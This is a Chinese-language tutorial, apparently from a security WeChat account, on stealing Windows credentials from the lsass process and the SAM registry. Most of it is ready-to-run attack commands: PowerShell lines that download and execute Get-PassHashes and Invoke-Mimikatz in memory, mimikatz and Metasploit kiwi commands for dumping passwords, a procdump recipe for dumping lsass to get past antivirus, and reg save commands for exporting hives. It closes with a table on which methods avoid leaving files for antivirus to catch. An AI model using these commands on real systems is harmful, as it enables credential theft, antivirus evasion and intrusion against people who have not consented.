免责声明
本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试加入交流群讨论或留言私信,如有侵权请联系小编处理。
2
内容速览
在Windows系统中,通常会使用哈希(hash)转化我们存入的密码,哈希是将目标文本转换成具有相同长度的,不可逆的字符串,具体到应用层还有很多不同的分支
Windows早期版本大多使用LAN Manager
(LM)方法进行哈希
但LM哈希密码最大长度为14,当前Windows主要采用NT LAN Manager
(NTLM)方法哈希。
Windows系统下hash密码格式:
用户名称:RID:LM-HASH值:NT-HASH值
C:\Windows\System32\config
(%SystemRoot%\system32\config\sam
)中该用户的哈希比对lsass.exe
,密码会在这个进程中明文保存,供该进程将密码计算成NTLM Hash与sam进行比对。根据上述过程,我们可以看出,最直接的获取Windows凭证方法,无非就是想办法从lsass.exe
进程中或从sam数据库中获取。
powershell脚本:[1] https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1[2]
powershell IEX(new-object net.webclient).downloadstring('脚本地址');Get-PassHashes
和上述脚本功能类似,Pwddump7下载地址(需要魔法)[3]: http://www.tarasco.org/security/pwdump_7/index.html 下载好后直接执行即可自动获取哈希。
相比上述两种方法,猕猴桃作为一个长期不断维护更新的开源软件,功能会强大很多猕猴桃下载地址[4]: https://github.com/gentilkiwi/mimikatz/releases[5]根据目标系统不同,我们可以使用64位(x64)或32位(win32)版本
我当前系统为64位Windows10,所以我这里使用的是x64版本的猕猴桃,如下图:
我们输入::
即可查看猕猴桃的官方使用介绍,其中我们最常用的命令如下
命令作用 |
---|
privilege::debug请求调试特权 |
token::elevate提升权限(这条命令会让我们冒充系统最高权限用户SYSTEM) |
lsadump::sam或lsadump::secrets或lsadump::cache获取用户的密码凭证 |
sekurlsa::logonpasswords查看所有可用的凭证 |
猕猴桃中大部分报错提示都很可能是权限不足导致的,需要管理员权限的才能操作,如下报错
mimikatz # privilege::debug
ERROR kuhl_m_privilege_simple ; RtlAdjustPrivilege (20) c0000061
mimikatz # sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)
mimikatz.exe "log 凭证信息.txt" "token::elevate" "lsadump::sam" "exit"``mimikatz.exe "log 本地登录凭证.txt" "sekurlsa::logonpasswords" "exit"
远程脚本下载地址[6]: https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1[7]使用方法:
首先我们需要使用一个服务器(VPS)将脚本挂载到公网1. 在cmd中使用如下命令,将脚本加载到内存中直接执行
powershell IEX (New-Object Net.WebClient).DownloadString('脚本下载地址');Invoke-Mimikatz -DumpCreds
因为猕猴桃功能强大而且单一,主要是针对密码凭证的,所以几乎所有的杀软都会将其进行拦截。这里我们常用Procdump配合猕猴桃来绕过杀软的检测。
Procdump下载地址[8]: https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump[9]
Procdump是微软官方推出的一款工具,
主要用于桌面应用开发人员对应用的一些检测处理,我们使用Procdump实现的主要功能是将正在运行的程序生成静态文件
方便我们进行分析操作,我在上述介绍中提过,处理我们密码的程序是lsass.exe
,而这里我们也主要会将它进行静态的文件,.然后再将此文件从目标电脑中导出至本地。
32位系统导出命令: procdump.exe -accepteula -ma lsass.exe lsass.dmp
64位系统导出命令: procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp
将导出的静态lsass文件移动到本机中(最好将此文件和mimikatz.exe
放在同一个文件夹,如果不是同一个文件夹,需要在猕猴桃中cd到lsass所在的文件夹中)
# 载入静态的lsass文件
sekurlsa::minidump lsass.dmp
# 读取所有密码凭证信息(载入文件夹后使用sekurlsa::相关命令即可获取载入文件中保存的秘钥信息)
sekurlsa::logonPasswords
我们的凭证信息除了会保存在lsass
程序中,还可能会保存在一些注册表中,我们同样可以将注册表保存后下载到本地进行分析, system(本地数据库): reg save HKLM\SYSTEM system.hiv
sam(安全帐户管理器): reg save HKLM\SAM sam.hiv
security(哈希计算、验证): reg save HKLM\SECURITY security.hiv
我们主要可能会用到上述三种注册表 使用猕猴桃即可对注册表进行解密: lsadump::sam /system:system.hiv /sam:sam.hiv
除此之外,我们还可以使用python的一个脚本secretsdump
来对目标解密
这是一个使用Python写的密码凭证获取工具,LaZagne能获取到的密码范围很广泛,我当前主要会用到Windows模块,如果你想获取其他方向的密码也可以使用此模块!LaZagne下载地址[10]: https://github.com/AlessandroZ/LaZagne[11]lazagne.exe windows
这里我们的msf已经连接到目标主机,并且是已管理员身份运行,首先我们先输入getsystem
进行提权
Windows中获取哈希值的主要有以下几种模块,这里我们选择使用use post/windows/gather/hashdump
(其中smart_hashdump
可以开启自动提取)
设定其set session 指定目标
目标后,我们即可运行获取目标秘钥。
这里需要注意设置使用的是session
,不是sessions
因为在Windows凭证方面,猕猴桃非常强大,msf也内置了猕猴桃模块,我们只需要在进入sessions
后输入load kiwi
即可加载猕猴桃模块。
我们可以使用help kiwi
查看msf中的猕猴桃使用方法
其中最常用的有creds_all
:获取所有收集到的凭证
lsa_dump_sam
:获取用户凭证,kiwi_cmd
:这个命令后面可以跟着猕猴桃原生命令进行执行!
hashdump
: 相当于猕猴桃的lsadump::sam``logonpasswords
: 相当于猕猴桃的sekurlsa::logonpasswords
工具 | 特点 | 文件落地 |
---|---|---|
mimikatz | 功能强大 | 文件落地(可以内存加载) |
powershell | 使用方便 | 内存加载 |
Pwddump7 | 和powershell脚本类似 | 内存加载 |
Procdump | 微软官方工具 | 无落地 |
注册表 | 系统内置 | 无落地 |
LaZagne | 功能强大 | 文件落地 |
msf | 功能强大 | 文件落地 |
CS | 功能强大 | 文件落地 |
注: 一般内存加载相比于文件落地能更好的绕开杀软,无落地文件的话,可以完全避开杀软
[11]powershell脚本::*https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1*[13]
[12]Pwddump7下载地址(需要魔法):*http://www.tarasco.org/security/pwdump\_7/index.html*[14]
[13]猕猴桃下载地址:*https://github.com/gentilkiwi/mimikatz/releases*[15]
[14]远程脚本下载地址:*https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1*[16]
[15]Procdump下载地址:*https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump*[17]
[16]LaZagne下载地址:*https://github.com/AlessandroZ/LaZagne*[18]